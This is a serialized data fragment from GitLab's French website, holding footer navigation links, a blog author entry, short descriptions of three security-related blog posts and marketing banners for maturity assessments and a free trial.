contribute",{"twitter":1120,"facebook":1121,"youtube":1122,"linkedin":1123},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1125,1171,1224,1267,1299],{"title":812,"links":1126,"subMenu":1141},[1127,1131,1136],{"text":1128,"config":1129},"Voir les forfaits",{"href":814,"dataGaName":1130,"dataGaLocation":1109},"view plans",{"text":1132,"config":1133},"GitLab Premium",{"href":1134,"dataGaName":1135,"dataGaLocation":1109},"/fr-fr/pricing/premium/","why premium",{"text":1137,"config":1138},"GitLab Ultimate",{"href":1139,"dataGaName":1140,"dataGaLocation":1109},"/fr-fr/pricing/ultimate/","why ultimate",[1142],{"title":987,"links":1143},[1144,1146,1148,1151,1156,1161,1166],{"text":994,"config":1145},{"href":996,"dataGaName":673,"dataGaLocation":1109},{"text":999,"config":1147},{"href":1001,"dataGaName":1002,"dataGaLocation":1109},{"text":1149,"config":1150},"Portail clients",{"href":1006,"dataGaName":1007,"dataGaLocation":1109},{"text":1152,"config":1153},"Statut",{"href":1154,"dataGaName":1155,"dataGaLocation":1109},"https://status.gitlab.com/","status",{"text":1157,"config":1158},"Conditions d'utilisation",{"href":1159,"dataGaName":1160,"dataGaLocation":1109},"/terms/","terms of use",{"text":1162,"config":1163},"Politique de confidentialité",{"href":1164,"dataGaName":1165,"dataGaLocation":1109},"/fr-fr/privacy/","privacy statement",{"text":1167,"config":1168},"Gestion des cookies",{"dataGaName":1169,"dataGaLocation":1109,"id":1170,"isOneTrustButton":648},"cookie preferences","ot-sdk-btn",{"title":710,"links":1172,"subMenu":1181},[1173,1177],{"text":1174,"config":1175},"Plateforme DevSecOps",{"href":692,"dataGaName":1176,"dataGaLocation":1109},"devsecops platform",{"text":1178,"config":1179},"Développement assisté par l'IA",{"href":699,"dataGaName":1180,"dataGaLocation":1109},"ai-assisted development",[1182],{"title":1183,"links":1184},"Thèmes",[1185,1189,1194,1199,1204,1209,1214,1219],{"text":730,"config":1186},{"href":1187,"dataGaName":1188,"dataGaLocation":1109},"/fr-fr/topics/ci-cd/","cicd",{"text":1190,"config":1191},"GitOps",{"href":1192,"dataGaName":1193,"dataGaLocation":1109},"/fr-fr/topics/gitops/","gitops",{"text":1195,"config":1196},"DevOps",{"href":1197,"dataGaName":1198,"dataGaLocation":1109},"/fr-fr/topics/devops/","devops",{"text":1200,"config":1201},"Contrôle de version",{"href":1202,"dataGaName":1203,"dataGaLocation":1109},"/fr-fr/topics/version-control/","version control",{"text":1205,"config":1206},"DevSecOps",{"href":1207,"dataGaName":1208,"dataGaLocation":1109},"/fr-fr/topics/devsecops/","devsecops",{"text":1210,"config":1211},"Cloud-native",{"href":1212,"dataGaName":1213,"dataGaLocation":1109},"/fr-fr/topics/cloud-native/","cloud native",{"text":1215,"config":1216},"IA pour la programmation",{"href":1217,"dataGaName":1218,"dataGaLocation":1109},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":1220,"config":1221},"IA agentique",{"href":1222,"dataGaName":1223,"dataGaLocation":1109},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":1225,"links":1226},"Solutions",[1227,1230,1232,1237,1240,1243,1246,1249,1251,1254,1257,1262],{"text":755,"config":1228},{"href":750,"dataGaName":1229,"dataGaLocation":1109},"Application Security Testing",{"text":742,"config":1231},{"href":726,"dataGaName":727,"dataGaLocation":1109},{"text":1233,"config":1234},"Développement Agile",{"href":1235,"dataGaName":1236,"dataGaLocation":1109},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":737,"config":1238},{"href":739,"dataGaName":1239,"dataGaLocation":1109},"source code management",{"text":730,"config":1241},{"href":732,"dataGaName":1242,"dataGaLocation":1109},"continuous integration & delivery",{"text":781,"config":1244},{"href":783,"dataGaName":1245,"dataGaLocation":1109},"value stream management",{"text":1190,"config":1247},{"href":1248,"dataGaName":1193,"dataGaLocation":1109},"/fr-fr/solutions/gitops/",{"text":794,"config":1250},{"href":797,"dataGaName":798,"dataGaLocation":1109},{"text":1252,"config":1253},"PME",{"href":803,"dataGaName":804,"dataGaLocation":1109},{"text":1255,"config":1256},"Secteur public",{"href":809,"dataGaName":810,"dataGaLocation":1109},{"text":1258,"config":1259},"Éducation",{"href":1260,"dataGaName":1261,"dataGaLocation":1109},"/fr-fr/solutions/education/","education",{"text":1263,"config":1264},"Services financiers",{"href":1265,"dataGaName":1266,"dataGaLocation":1109},"/fr-fr/solutions/finance/","financial services",{"title":817,"links":1268},[1269,1271,1273,1275,1278,1280,1283,1285,1287,1289,1291,1293,1295,1297],{"text":830,"config":1270},{"href":832,"dataGaName":833,"dataGaLocation":1109},{"text":835,"config":1272},{"href":837,"dataGaName":838,"dataGaLocation":1109},{"text":840,"config":1274},{"href":842,"dataGaName":843,"dataGaLocation":1109},{"text":845,"config":1276},{"href":847,"dataGaName":1277,"dataGaLocation":1109},"docs",{"text":868,"config":1279},{"href":870,"dataGaName":871,"dataGaLocation":1109},{"text":1281,"config":1282},"Nouveautés",{"href":928,"dataGaName":929,"dataGaLocation":1109},{"text":863,"config":1284},{"href":865,"dataGaName":866,"dataGaLocation":1109},{"text":882,"config":1286},{"href":884,"dataGaName":885,"dataGaLocation":1109},{"text":890,"config":1288},{"href":892,"dataGaName":893,"dataGaLocation":1109},{"text":895,"config":1290},{"href":897,"dataGaName":898,"dataGaLocation":1109},{"text":900,"config":1292},{"href":902,"dataGaName":903,"dataGaLocation":1109},{"text":905,"config":1294},{"href":907,"dataGaName":908,"dataGaLocation":1109},{"text":910,"config":1296},{"href":912,"dataGaName":913,"dataGaLocation":1109},{"text":915,"config":1298},{"href":917,"dataGaName":918,"dataGaLocation":1109},{"title":931,"links":1300},[1301,1303,1305,1307,1309,1311,1316,1321,1323,1325,1327],{"text":939,"config":1302},{"href":941,"dataGaName":933,"dataGaLocation":1109},{"text":944,"config":1304},{"href":946,"dataGaName":947,"dataGaLocation":1109},{"text":952,"config":1306},{"href":954,"dataGaName":955,"dataGaLocation":1109},{"text":957,"config":1308},{"href":959,"dataGaName":960,"dataGaLocation":1109},{"text":962,"config":1310},{"href":964,"dataGaName":965,"dataGaLocation":1109},{"text":1312,"config":1313},"Développement durable",{"href":1314,"dataGaName":1315,"dataGaLocation":1109},"/sustainability/","Sustainability",{"text":1317,"config":1318},"Diversité, inclusion et appartenance (DIB)",{"href":1319,"dataGaName":1320,"dataGaLocation":1109},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":967,"config":1322},{"href":969,"dataGaName":970,"dataGaLocation":1109},{"text":977,"config":1324},{"href":979,"dataGaName":980,"dataGaLocation":1109},{"text":982,"config":1326},{"href":984,"dataGaName":985,"dataGaLocation":1109},{"text":1328,"config":1329},"Déclaration de transparence sur l'esclavage moderne",{"href":1330,"dataGaName":1331,"dataGaLocation":1109},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1333},[1334,1336,1338],{"text":1157,"config":1335},{"href":1159,"dataGaName":1160,"dataGaLocation":1109},{"text":1167,"config":1337},{"dataGaName":1169,"dataGaLocation":1109,"id":1170,"isOneTrustButton":648},{"text":1162,"config":1339},{"href":1164,"dataGaName":1165,"dataGaLocation":1109},[1341],{"id":1342,"title":7,"body":644,"config":1343,"content":1345,"description":644,"extension":1349,"meta":1350,"navigation":648,"path":1351,"seo":1352,"stem":1353,"__hash__":1354},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":1344},"BlogAuthor",{"name":7,"config":1346},{"headshot":1347,"ctfId":1348},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[1356,1364,1369],{"title":1357,"description":1358,"heroImage":1359,"category":640,"date":1360,"authors":1361,"slug":1363,"externalUrl":644},"Le flow GitLab Duo Security Review détecte les failles logiques que les scanners n'identifient pas","Utilisez le raisonnement de sécurité piloté par l'IA pour détecter les failles d'autorisation, les erreurs de logique métier et les conditions de concurrence pendant la revue de code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1783980535/t3gez0gpayfndrhncunf.png","2026-07-17",[1362],"Mark Settle","gitlab-duo-security-review-flow",{"title":1365,"description":1366,"heroImage":1359,"category":640,"date":1360,"authors":1367,"slug":1368,"externalUrl":644},"Une mise à jour de version fait échouer votre build ? GitLab le corrige !","Mettez à niveau vos dépendances automatiquement, adaptez le code en cas de changements cassants et transférez les modifications pour approbation : découvrez ces fonctionnalités natives uniquement proposées par GitLab, avec un contexte complet.",[1362],"dependency-scanning-auto-remediation",{"title":1370,"description":1371,"heroImage":1372,"category":640,"date":1373,"authors":1374,"slug":1376,"externalUrl":644},"GitLab : 5 façons de corriger les niveaux de gravité trompeurs des vulnérabilités","Les scores CVSS par défaut ne reflètent pas vos risques réels. Utilisez les politiques de remplacement de la gravité GitLab pour automatiser les ajustements en fonction des CVE, des CWE, du chemin de fichier et du répertoire.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-07-07",[1375],"Grant Hickman","severity-override-vulnerability-management-policy",{"promotions":1378},[1379,1393,1405,1416],{"id":1380,"categories":1381,"header":1383,"text":1384,"button":1385,"image":1390},"ai-modernization",[1382],"ai","L'IA tient-elle ses promesses à grande échelle ?","Le questionnaire ne prendra pas plus de 5 minutes.",{"text":1386,"config":1387},"Obtenez votre score de maturité IA",{"href":1388,"dataGaName":1389,"dataGaLocation":871},"/fr-fr/assessments/ai-modernization-assessment/","modernization assessment",{"config":1391},{"src":1392},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1394,"categories":1395,"header":1397,"text":1384,"button":1398,"image":1402},"devops-modernization",[1396,1208],"product","Vous contentez-vous de gérer des outils ou de livrer des innovations ?",{"text":1399,"config":1400},"Obtenez votre score de maturité DevOps",{"href":1401,"dataGaName":1389,"dataGaLocation":871},"/fr-fr/assessments/devops-modernization-assessment/",{"config":1403},{"src":1404},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1406,"categories":1407,"header":1408,"text":1384,"button":1409,"image":1413},"security-modernization",[640],"Faut-il sacrifier la rapidité pour garantir la sécurité ?",{"text":1410,"config":1411},"Obtenez votre score de maturité en matière de sécurité",{"href":1412,"dataGaName":1389,"dataGaLocation":871},"/fr-fr/assessments/security-modernization-assessment/",{"config":1414},{"src":1415},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1417,"paths":1418,"header":1421,"text":1422,"button":1423,"image":1428},"github-azure-migration",[1419,1420],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Votre équipe est-elle prête pour la migration de GitHub vers Azure ?","GitHub a déjà commencé sa migration vers Azure. Découvrez ce que cela signifie pour vous.",{"text":1424,"config":1425},"Découvrez les différences entre GitLab et GitHub",{"href":1426,"dataGaName":1427,"dataGaLocation":871},"/fr-fr/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1429},{"src":1404},{"header":1431,"blurb":1432,"button":1433,"secondaryButton":1437},"Commencez à développer plus rapidement dès aujourd'hui","Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.\n",{"text":665,"config":1434},{"href":1435,"dataGaName":668,"dataGaLocation":1436},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/fr-fr/","feature",{"text":994,"config":1438},{"href":996,"dataGaName":673,"dataGaLocation":1436},1786803746888]